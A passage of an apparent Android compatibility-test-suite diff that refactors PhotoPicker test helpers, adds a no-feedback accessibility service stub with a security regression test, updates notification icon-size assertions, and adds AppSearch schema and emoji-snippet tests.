broadcasts or checking a value. But that information is + // very package private and not available. + Thread.sleep(500); + } + + public static String getDocumentsUiPackageName() { + final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT); + intent.setType("*/*"); + final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0); + return ri.activityInfo.packageName; + } + + private static void updateComponentEnabledSetting(PackageManager packageManager, + int state) throws Exception { + final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + inst.getUiAutomation().adoptShellPermissionIdentity( + Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE); + try { + packageManager.setComponentEnabledSetting(sComponentName, state, + PackageManager.DONT_KILL_APP); + } finally { + inst.getUiAutomation().dropShellPermissionIdentity(); + } + waitForComponentToBeInExpectedState(packageManager, state); + } + + private static void waitForComponentToBeInExpectedState(PackageManager packageManager, + int state) throws Exception { + pollForCondition(() -> isComponentEnabledSetAsExpected(packageManager, state), + "Timed out while waiting for component to be enabled"); + } + + private static void pollForCondition(Supplier<Boolean> condition, String errorMessage) + throws Exception { + for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) { + if (condition.get()) { + return; + } + Thread.sleep(POLLING_SLEEP_MILLIS); + } + throw new TimeoutException(errorMessage); + } + + private static boolean isComponentEnabledSetAsExpected(PackageManager packageManager, + int state) { + return packageManager.getComponentEnabledSetting(sComponentName) == state; + } + + private static String getMediaProviderPackageName() { + final Instrumentation inst = androidx.test.InstrumentationRegistry.getInstrumentation(); + final PackageManager packageManager = inst.getContext().getPackageManager(); + final ProviderInfo providerInfo = packageManager.resolveContentProvider( + MediaStore.AUTHORITY, PackageManager.MATCH_ALL); + return providerInfo.packageName; + } +} diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java index 9eb7d597253..6d86cee66b9 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java @@ -80,6 +80,12 @@ public class PhotoPickerAssertionsUtils { assertThat(resultMimeType).isEqualTo(expectedMimeType); } + public static void assertContainsMimeType(Uri uri, String[] expectedMimeTypes) { + final Context context = InstrumentationRegistry.getTargetContext(); + final String resultMimeType = context.getContentResolver().getType(uri); + assertThat(Arrays.asList(expectedMimeTypes).contains(resultMimeType)).isTrue(); + } + public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception { assertThat(uri).isNotNull(); final String[] projection = new String[]{ PickerMediaColumns.MIME_TYPE }; @@ -120,11 +126,7 @@ public class PhotoPickerAssertionsUtils { .that(xmp.contains("13166/7763")).isTrue(); } - // assert no write access - try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "w")) { - fail("Does not grant write access to uri " + uri.toString()); - } catch (SecurityException | FileNotFoundException expected) { - } + assertNoWriteAccess(uri, resolver); } private static void assertImageRedactedReadOnlyAccess(Uri uri, ContentResolver resolver) @@ -153,12 +155,7 @@ public class PhotoPickerAssertionsUtils { assertImageExifRedacted(is); } - // Assert no write access - try (ParcelFileDescriptor pfd = - ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE)) { - fail("Does not grant write access to file " + file); - } catch (IOException e) { - } + assertNoWriteAccess(uri, resolver); } } @@ -179,4 +176,19 @@ public class PhotoPickerAssertionsUtils { assertWithMessage("Redacted non-location XMP") .that(xmp.contains("LensDefaults")).isTrue(); } + + public static void assertReadOnlyAccess(Uri uri, ContentResolver resolver) throws Exception { + try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) { + assertThat(pfd).isNotNull(); + } + + assertNoWriteAccess(uri, resolver); + } + + private static void assertNoWriteAccess(Uri uri, ContentResolver resolver) throws Exception { + try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "w")) { + fail("Does not grant write access to uri " + uri.toString()); + } catch (SecurityException | FileNotFoundException expected) { + } + } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java index 3705ddd8fb1..2732df71762 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java @@ -26,6 +26,7 @@ import android.photopicker.cts.R; import android.provider.MediaStore; import android.provider.cts.ProviderTestUtils; import android.provider.cts.media.MediaStoreUtils; +import android.util.Pair; import androidx.test.InstrumentationRegistry; @@ -34,6 +35,7 @@ import com.android.compatibility.common.util.ShellUtils; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; +import java.util.ArrayList; import java.util.List; /** @@ -42,24 +44,55 @@ import java.util.List; public class PhotoPickerFilesUtils { public static final String DISPLAY_NAME_PREFIX = "ctsPhotoPicker"; - public static void createImages(int count, int userId, List<Uri> uriList) + public static List<Uri> createImagesAndGetUris(int count, int userId) throws Exception { - createImages(count, userId, uriList, false); + return createImagesAndGetUris(count, userId, /* isFavorite */ false); } - public static void createImages(int count, int userId, List<Uri> uriList, boolean isFavorite) + public static List<Uri> createImagesAndGetUris(int count, int userId, boolean isFavorite) throws Exception { + List<Pair<Uri, String>> createdImagesData = createImagesAndGetUriAndPath(count, userId, + isFavorite); + + List<Uri> uriList = new ArrayList<>(); + for (Pair<Uri, String> createdImageData: createdImagesData) { + uriList.add(createdImageData.first); + } + + return uriList; + } + + /** + * Create multiple images according to the given parameters and returns the uris and filenames + * of the images created. + * + * @param count number of images to create + * @param userId user id to create images in + * + * @return list of data (uri and filename pair) about the images created + */ + public static List<Pair<Uri, String>> createImagesAndGetUriAndPath(int count, int userId, + boolean isFavorite) throws Exception { + List<Pair<Uri, String>> createdImagesData = new ArrayList<>(); + for (int i = 0; i < count; i++) { - final Uri uri = createImage(userId, isFavorite); - uriList.add(uri); - clearMediaOwner(uri, userId); + Pair<Uri, String> createdImageData = createImage(userId, isFavorite); + createdImagesData.add(createdImageData); + clearMediaOwner(createdImageData.first, userId); } // Wait for Picker db sync to complete MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver()); + + return createdImagesData; } - public static void createDNGVideos(int count, int userId, List<Uri> uriList) - throws Exception { + public static Pair<Uri, String> createImage(int userId, boolean isFavorite) throws Exception { + return getPermissionAndStageMedia(R.raw.lg_g4_iso_800_jpg, + MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite); + } + + public static List<Uri> createDNGVideosAndGetUris(int count, int userId) throws Exception { + List<Uri> uriList = new ArrayList<>(); for (int i = 0; i < count; i++) { final Uri uri = createDNGVideo(userId); uriList.add(uri); @@ -67,10 +100,12 @@ public class PhotoPickerFilesUtils { } // Wait for Picker db sync to complete MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver()); + + return uriList; } - public static void createVideos(int count, int userId, List<Uri> uriList) - throws Exception { + public static List<Uri> createVideosAndGetUris(int count, int userId) throws Exception { + List<Uri> uriList = new ArrayList<>(); for (int i = 0; i < count; i++) { final Uri uri = createVideo(userId); uriList.add(uri); @@ -78,6 +113,8 @@ public class PhotoPickerFilesUtils { } // Wait for Picker db sync to complete MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver()); + + return uriList; } public static void deleteMedia(Uri uri, Context context) throws Exception { @@ -95,26 +132,19 @@ public class PhotoPickerFilesUtils { } private static Uri createDNGVideo(int userId) throws Exception { - final Uri uri = stageMedia(R.raw.test_video_dng, - MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); - return uri; + return getPermissionAndStageMedia(R.raw.test_video_dng, + MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId, + /* isFavorite */ false).first; } private static Uri createVideo(int userId) throws Exception { - final Uri uri = stageMedia(R.raw.test_video, - MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); - return uri; + return getPermissionAndStageMedia(R.raw.test_video, + MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId, + /* isFavorite */ false).first; } - private static Uri createImage(int userId, boolean isFavorite) throws Exception { - final Uri uri = stageMedia(R.raw.lg_g4_iso_800_jpg, - MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite); - return uri; - } - - private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId, - boolean isFavorite) throws - Exception { + private static Pair<Uri, String> getPermissionAndStageMedia(int resId, Uri collectionUri, + String mimeType, int userId, boolean isFavorite) throws Exception { UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(); uiAutomation.adoptShellPermissionIdentity( android.Manifest.permission.INTERACT_ACROSS_USERS, @@ -130,14 +160,8 @@ public class PhotoPickerFilesUtils { } } - private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws - Exception { - return stageMedia(resId, collectionUri, mimeType, userId, false); - } - - private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context, - boolean isFavorite) - throws IOException { + private static Pair<Uri, String> stageMedia(int resId, Uri collectionUri, String mimeType, + Context context, boolean isFavorite) throws IOException { final String displayName = DISPLAY_NAME_PREFIX + System.nanoTime(); final MediaStoreUtils.PendingParams params = new MediaStoreUtils.PendingParams( collectionUri, displayName, mimeType); @@ -149,7 +173,7 @@ public class PhotoPickerFilesUtils { OutputStream target = session.openOutputStream()) { FileUtils.copy(source, target); } - return session.publish(); + return new Pair(session.publish(), displayName); } } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java index d20dcd6665b..8f58f3e3261 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java @@ -20,8 +20,8 @@ import static com.google.common.truth.Truth.assertWithMessage; import android.text.format.DateUtils; +import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.UiObject; -import androidx.test.uiautomator.UiObjectNotFoundException; import androidx.test.uiautomator.UiScrollable; import androidx.test.uiautomator.UiSelector; @@ -35,6 +35,7 @@ public class PhotoPickerUiUtils { public static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS; private static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS; + public static final String REGEX_PACKAGE_NAME = "com(.google)?.android.providers.media(.module)?"; @@ -92,4 +93,22 @@ public class PhotoPickerUiUtils { return new UiObject(new UiSelector().resourceIdMatches( REGEX_PACKAGE_NAME + ":id/profile_button")); } + + public static void findAndClickBrowse(UiDevice uiDevice) throws Exception { + assertWithMessage("Timed out waiting for overflow menu to appear") + .that(new UiObject(new UiSelector().description("More options")) + .waitForExists(SHORT_TIMEOUT)) + .isTrue(); + + final UiObject overflowMenu = new UiObject(new UiSelector().description("More options")); + clickAndWait(uiDevice, overflowMenu); + + final UiObject browseButton = new UiObject(new UiSelector().textContains("Browse")); + clickAndWait(uiDevice, browseButton); + } + + public static void clickAndWait(UiDevice uiDevice, UiObject uiObject) throws Exception { + uiObject.click(); + uiDevice.waitForIdle(); + } } diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp index 91ce26b6898..06b62f1c352 100644 --- a/tests/accessibility/Android.bp +++ b/tests/accessibility/Android.bp @@ -39,6 +39,7 @@ android_test { test_suites: [ "cts", "general-tests", + "sts", ], sdk_version: "test_current", } diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml index bf3b1a82567..056ca59ec8a 100644 --- a/tests/accessibility/AndroidManifest.xml +++ b/tests/accessibility/AndroidManifest.xml @@ -60,6 +60,17 @@ android:resource="@xml/speaking_and_vibrating_accessibilityservice"/> </service> + <service android:name=".NoFeedbackAccessibilityService" + android:label="@string/title_no_feedback_accessibility_service" + android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" + android:exported="true"> + <intent-filter> + <action android:name="android.accessibilityservice.AccessibilityService"/> + </intent-filter> + <meta-data android:name="android.accessibilityservice" + android:resource="@xml/no_feedback_accessibilityservice"/> + </service> + <service android:name=".AccessibilityButtonService" android:label="@string/title_accessibility_button_service" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml index 37d30516bc0..871d5f9955a 100644 --- a/tests/accessibility/res/values/strings.xml +++ b/tests/accessibility/res/values/strings.xml @@ -26,6 +26,9 @@ <!-- String title for the vibrating accessibility service --> <string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string> + <!-- String title for the no-feedback accessibility service --> + <string name="title_no_feedback_accessibility_service">No-Feedback Accessibility Service</string> + <!-- String title for the accessibility button service --> <string name="title_accessibility_button_service">Accessibility Button Service</string> diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml index dce1cae6ccc..168e5845031 100644 --- a/apps/MainlineModuleDetector/AndroidManifest.xml +++ b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml @@ -1,5 +1,5 @@ <?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2019 The Android Open Source Project +<!-- Copyright (C) 2022 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -13,19 +13,4 @@ See the License for the specific language governing permissions and limitations under the License. --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="com.android.cts.mainlinemoduledetector" - android:versionCode="1" - android:versionName="1.0"> - - <application> - <activity android:name=".MainlineModuleDetector" - android:exported="true"> - <intent-filter> - <action android:name="android.intent.action.MAIN"/> - <category android:name="android.intent.category.LAUNCHER"/> - </intent-filter> - </activity> - </application> -</manifest> +<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"/> diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java index 0f5afd15ef6..9c4d0b89a34 100644 --- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java +++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java @@ -34,6 +34,7 @@ import android.app.UiAutomation; import android.content.Context; import android.content.pm.ServiceInfo; import android.os.Handler; +import android.platform.test.annotations.AsbSecurityTest; import android.view.accessibility.AccessibilityEvent; import android.view.accessibility.AccessibilityManager; import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener; @@ -81,6 +82,11 @@ public class AccessibilityManagerTest { new InstrumentedAccessibilityServiceTestRule<>( SpeakingAndVibratingAccessibilityService.class, false); + private InstrumentedAccessibilityServiceTestRule<NoFeedbackAccessibilityService> + mNoFeedbackAccessibilityServiceRule = + new InstrumentedAccessibilityServiceTestRule<>( + NoFeedbackAccessibilityService.class, false); + private static final Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation(); @@ -93,6 +99,9 @@ public class AccessibilityManagerTest { private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME = "android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService"; + private static final String NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME = + "android.view.accessibility.cts.NoFeedbackAccessibilityService"; + public static final String ACCESSIBILITY_NON_INTERACTIVE_UI_TIMEOUT_MS = "accessibility_non_interactive_ui_timeout_ms"; @@ -112,6 +121,7 @@ public class AccessibilityManagerTest { // SettingsStateChangerRule will suppress accessibility services, so it should be // executed before enabling a11y services and after disabling a11y services. .outerRule(mAudioDescriptionSetterRule) + .around(mNoFeedbackAccessibilityServiceRule) .around(mSpeakingAndVibratingAccessibilityServiceRule) .around(mVibratingAccessibilityServiceRule) .around(mSpeakingAccessibilityServiceRule) @@ -241,6 +251,26 @@ public class AccessibilityManagerTest { assertTrue("The vibrating service should be enabled.", vibratingServiceEnabled); } + @AsbSecurityTest(cveBugId = {243849844}) + @Test + public void testGetEnabledAccessibilityServiceList_NoFeedback() { + mNoFeedbackAccessibilityServiceRule.enableService(); + List<AccessibilityServiceInfo> enabledServices = + mAccessibilityManager.getEnabledAccessibilityServiceList( + AccessibilityServiceInfo.FEEDBACK_ALL_MASK); + boolean noFeedbackServiceEnabled = false; + final int serviceCount = enabledServices.size(); + for (int i = 0; i < serviceCount; i++) { + AccessibilityServiceInfo enabledService = enabledServices.get(i); + ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo; + if (mTargetContext.getPackageName().equals(serviceInfo.packageName) + && NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME.equals(serviceInfo.name)) { + noFeedbackServiceEnabled = true; + } + } + assertTrue("The no-feedback service should be enabled.", noFeedbackServiceEnabled); + } + @Test public void testGetEnabledAccessibilityServiceListForType() throws Exception { mSpeakingAccessibilityServiceRule.enableService(); diff --git a/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java new file mode 100644 index 00000000000..0c79ae41515 --- /dev/null +++ b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2012 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.view.accessibility.cts; + +import android.accessibility.cts.common.InstrumentedAccessibilityService; +import android.content.ComponentName; + +/** + * Stub accessibility service that reports itself as providing no feedback. + */ +public class NoFeedbackAccessibilityService extends InstrumentedAccessibilityService { + public static final ComponentName COMPONENT_NAME = new ComponentName( + "android.view.accessibility.cts", + "android.view.accessibility.cts.NoFeedbackAccessibilityService"); +} diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java index f4ec5b8f9ed..9aca75f2f6f 100644 --- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java +++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java @@ -118,7 +118,7 @@ public class NotTouchableWindowTestActivity extends AccessibilityTestActivity { | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE; params.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL; - + params.setFitInsetsTypes(0); params.gravity = Gravity.TOP; params.setTitle(NON_TOUCHABLE_WINDOW_TITLE); diff --git a/tests/app/app/assets/picture_800_by_600.png b/tests/app/app/assets/picture_800_by_600.png Binary files differnew file mode 100644 index 00000000000..dc8f3d49bdc --- /dev/null +++ b/tests/app/app/assets/picture_800_by_600.png diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt index 6b84cd30afb..47da9fa4875 100644 --- a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt +++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt @@ -146,4 +146,7 @@ open class NotificationTemplateTestBase : AndroidTestCase() { @BoolRes protected fun getAndroidRBool(boolName: String): Int = getAndroidRes("bool", boolName) + + @DimenRes + protected fun getAndroidRDimen(dimenName: String) : Int = getAndroidRes("dimen", dimenName) }
\ No newline at end of file diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt index f5f0f130e93..bef1319fba1 100644 --- a/tests/app/src/android/app/cts/NotificationTemplateTest.kt +++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt @@ -21,6 +21,7 @@ import android.app.PendingIntent import android.app.Person import android.app.cts.CtsAppTestUtils.platformNull import android.content.Intent +import android.content.res.Resources import android.graphics.Bitmap import android.graphics.Canvas import android.graphics.Color @@ -31,6 +32,7 @@ import android.widget.ImageView import android.widget.TextView import androidx.annotation.ColorInt import androidx.test.filters.SmallTest +import com.android.compatibility.common.util.CddTest; import com.google.common.truth.Truth.assertThat import org.junit.Assume import kotlin.test.assertFailsWith @@ -282,8 +284,9 @@ class NotificationTemplateTest : NotificationTemplateTestBase() { } } + @CddTest(requirement = "3.8.3.1/C-2-1") fun testPromoteBigPicture_withBigPictureUriIcon() { - val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png") + val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png") val pictureIcon = Icon.createWithContentUri(pictureUri) val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID) .setSmallIcon(R.drawable.ic_media_play) @@ -297,8 +300,8 @@ class NotificationTemplateTest : NotificationTemplateTestBase() { assertThat(iconView.width.toFloat()) .isWithin(1f) .of((iconView.height * 4 / 3).toFloat()) - assertThat(iconView.drawable.intrinsicWidth).isEqualTo(400) - assertThat(iconView.drawable.intrinsicHeight).isEqualTo(300) + assertThat(iconView.drawable.intrinsicWidth).isEqualTo(rightIconSize()) + assertThat(iconView.drawable.intrinsicHeight).isEqualTo(rightIconSize() * 3 / 4) } } @@ -384,8 +387,9 @@ class NotificationTemplateTest : NotificationTemplateTestBase() { !!.sameAs(picture)).isTrue() } + @CddTest(requirement = "3.8.3.1/C-2-1") fun testBigPicture_withBigLargeIcon_withContentUri() { - val iconUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png") + val iconUri = Uri.parse("content://android.app.stubs.assets/picture_800_by_600.png") val icon = Icon.createWithContentUri(iconUri) val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID) .setSmallIcon(R.drawable.ic_media_play) @@ -396,8 +400,9 @@ class NotificationTemplateTest : NotificationTemplateTestBase() { assertThat(iconView.width.toFloat()) .isWithin(1f) .of((iconView.height * 4 / 3).toFloat()) - assertThat(iconView.drawable.intrinsicWidth).isEqualTo(400) - assertThat(iconView.drawable.intrinsicHeight).isEqualTo(300) + + assertThat(iconView.drawable.intrinsicWidth).isEqualTo(rightIconSize()) + assertThat(iconView.drawable.intrinsicHeight).isEqualTo(rightIconSize() * 3 / 4) } } @@ -779,6 +784,11 @@ class NotificationTemplateTest : NotificationTemplateTestBase() { PendingIntent.getBroadcast(mContext, 0, Intent("test"), PendingIntent.FLAG_IMMUTABLE) } + private fun rightIconSize(): Int { + return mContext.resources.getDimensionPixelSize( + getAndroidRDimen("notification_right_icon_size")) + } + companion object { val TAG = NotificationTemplateTest::class.java.simpleName const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateTest" diff --git a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt index c2d02b33a09..f4692c7036c 100644 --- a/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt +++ b/tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt @@ -33,6 +33,7 @@ import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionId import com.google.common.truth.Truth.assertThat import org.junit.After import org.junit.Before +import org.junit.Ignore import org.junit.Rule import org.junit.Test import org.junit.runner.RunWith @@ -91,6 +92,7 @@ class UpdateMediaTapToTransferReceiverDisplayTest { } @Test + @Ignore("b/236749332") fun closeToSender_displaysChip() { statusBarManager.updateMediaTapToTransferReceiverDisplay( StatusBarManager.MEDIA_TRANSFER_RECEIVER_STATE_CLOSE_TO_SENDER, @@ -106,6 +108,7 @@ class UpdateMediaTapToTransferReceiverDisplayTest { } @Test + @Ignore("236749332") fun farFromSender_hidesChip() { // First, make sure we display the chip statusBarManager.updateMediaTapToTransferReceiverDisplay( diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java index 70b68b4aa11..affdaa89759 100644 --- a/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java +++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java @@ -676,6 +676,7 @@ public abstract class AppSearchSessionCtsTestBase { .build()) .build(); mDb1.setSchemaAsync(new SetSchemaRequest.Builder().addSchemas(schema).build()).get(); + // Creates a large batch of Documents, since we have max document size in Framework which is // 512KiB, we will create 1KiB * 4000 docs = 4MiB total size > 1MiB binder transaction limit char[] chars = new char[1024]; // 1KiB @@ -3851,4 +3852,104 @@ public abstract class AppSearchSessionCtsTestBase { documents = convertSearchResultsToDocuments(searchResults); assertThat(documents).containsExactly(inEmail1); } + + @Test + public void testSetSchemaWithIncompatibleNestedSchema() throws Exception { + // 1. Set the original schema. This should succeed without any problems. + AppSearchSchema originalNestedSchema = + new AppSearchSchema.Builder("TypeA") + .addProperty( + new StringPropertyConfig.Builder("prop1") + .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL) + .build()) + .build(); + SetSchemaRequest originalRequest = + new SetSchemaRequest.Builder().addSchemas(originalNestedSchema).build(); + mDb1.setSchemaAsync(originalRequest).get(); + + // 2. Set a new schema with a new type that refers to "TypeA" and an incompatible change to + // "TypeA". This should fail. + AppSearchSchema newNestedSchema = + new AppSearchSchema.Builder("TypeA") + .addProperty( + new StringPropertyConfig.Builder("prop1") + .setCardinality(PropertyConfig.CARDINALITY_REQUIRED) + .build()) + .build(); + AppSearchSchema newSchema = + new AppSearchSchema.Builder("TypeB") + .addProperty( + new AppSearchSchema.DocumentPropertyConfig.Builder("prop2", "TypeA") + .build()) + .build(); + final SetSchemaRequest newRequest = + new SetSchemaRequest.Builder().addSchemas(newNestedSchema, newSchema).build(); + Throwable throwable = + assertThrows(ExecutionException.class, () -> mDb1.setSchemaAsync(newRequest).get()) + .getCause(); + assertThat(throwable).isInstanceOf(AppSearchException.class); + AppSearchException exception = (AppSearchException) throwable; + assertThat(exception.getResultCode()).isEqualTo(RESULT_INVALID_SCHEMA); + assertThat(exception).hasMessageThat().contains("Schema is incompatible."); + assertThat(exception).hasMessageThat().contains("Incompatible types: {TypeA}"); + + // 3. Now set that same set of schemas but with forceOverride=true. This should succeed. + SetSchemaRequest newRequestForced = + new SetSchemaRequest.Builder() + .addSchemas(newNestedSchema, newSchema) + .setForceOverride(true) + .build(); + mDb1.setSchemaAsync(newRequestForced).get(); + } + + @Test + public void testEmojiSnippet() throws Exception { + // Schema registration + mDb1.setSchemaAsync( + new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build()) + .get(); + + // String: "Luca Brasi sleeps with the 🐟🐟🐟." + // ^ ^ ^ ^ ^ ^ ^ ^ ^ + // UTF8 idx: 0 5 11 18 23 27 3135 39 + // UTF16 idx: 0 5 11 18 23 27 2931 33 + // Breaks into segments: "Luca", "Brasi", "sleeps", "with", "the", "🐟", "🐟" + // and "🐟". + // Index a document to instance 1. + String sicilianMessage = "Luca Brasi sleeps with the 🐟🐟🐟."; + AppSearchEmail inEmail1 = + new AppSearchEmail.Builder("namespace", "uri1").setBody(sicilianMessage).build(); + checkIsBatchResultSuccess( + mDb1.putAsync( + new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build())); + + AppSearchEmail inEmail2 = + new AppSearchEmail.Builder("namespace", "uri2") + .setBody("Some other content.") + .build(); + checkIsBatchResultSuccess( + mDb1.putAsync( + new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build())); + + // Query for "🐟" + SearchResultsShim searchResults = + mDb1.search( + "🐟", + new SearchSpec.Builder() + .setTermMatch(SearchSpec.TERM_MATCH_PREFIX) + .setSnippetCount(1) + .setSnippetCountPerProperty(1) + .build()); + List<SearchResult> page = searchResults.getNextPageAsync().get(); + assertThat(page).hasSize(1); + assertThat(page.get(0).getGenericDocument()).isEqualTo(inEmail1); + List<SearchResult.MatchInfo> matches = page.get(0).getMatchInfos(); + assertThat(matches).hasSize(1); + assertThat(matches.get(0).getPropertyPath()).isEqualTo("body"); + assertThat(matches.get(0).getFullText()).isEqualTo(sicilianMessage); + assertThat(matches.get(0).getExactMatch()).isEqualTo("🐟"); + if (mDb1.getFeatures().isFeatureSupported(Features.SEARCH_RESULT_MATCH_INFO_SUBMATCH)) { + assertThat(matches.get(0).getSubmatch()).isEqualTo("🐟"); + } + } } diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java index 5dd2eac0617..0bfa6935634 100644 --- a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java +++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java @@ -576,6 +576,30 @@ public class GenericDocumentCtsTest { } @Test + public void testNestedProperties_buildBlankPaths() { + Exception e = + assertThrows( + IllegalArgumentException.class, + () -> + new GenericDocument.Builder<>("namespace", "id1", "schema1") + .setPropertyString("", "foo")); + assertThat(e.getMessage()).isEqualTo("Property name cannot be blank."); + + e = + assertThrows( + IllegalArgumentException.class, + () -> + new GenericDocument.Builder<>("namespace", "id1", "schema1") + 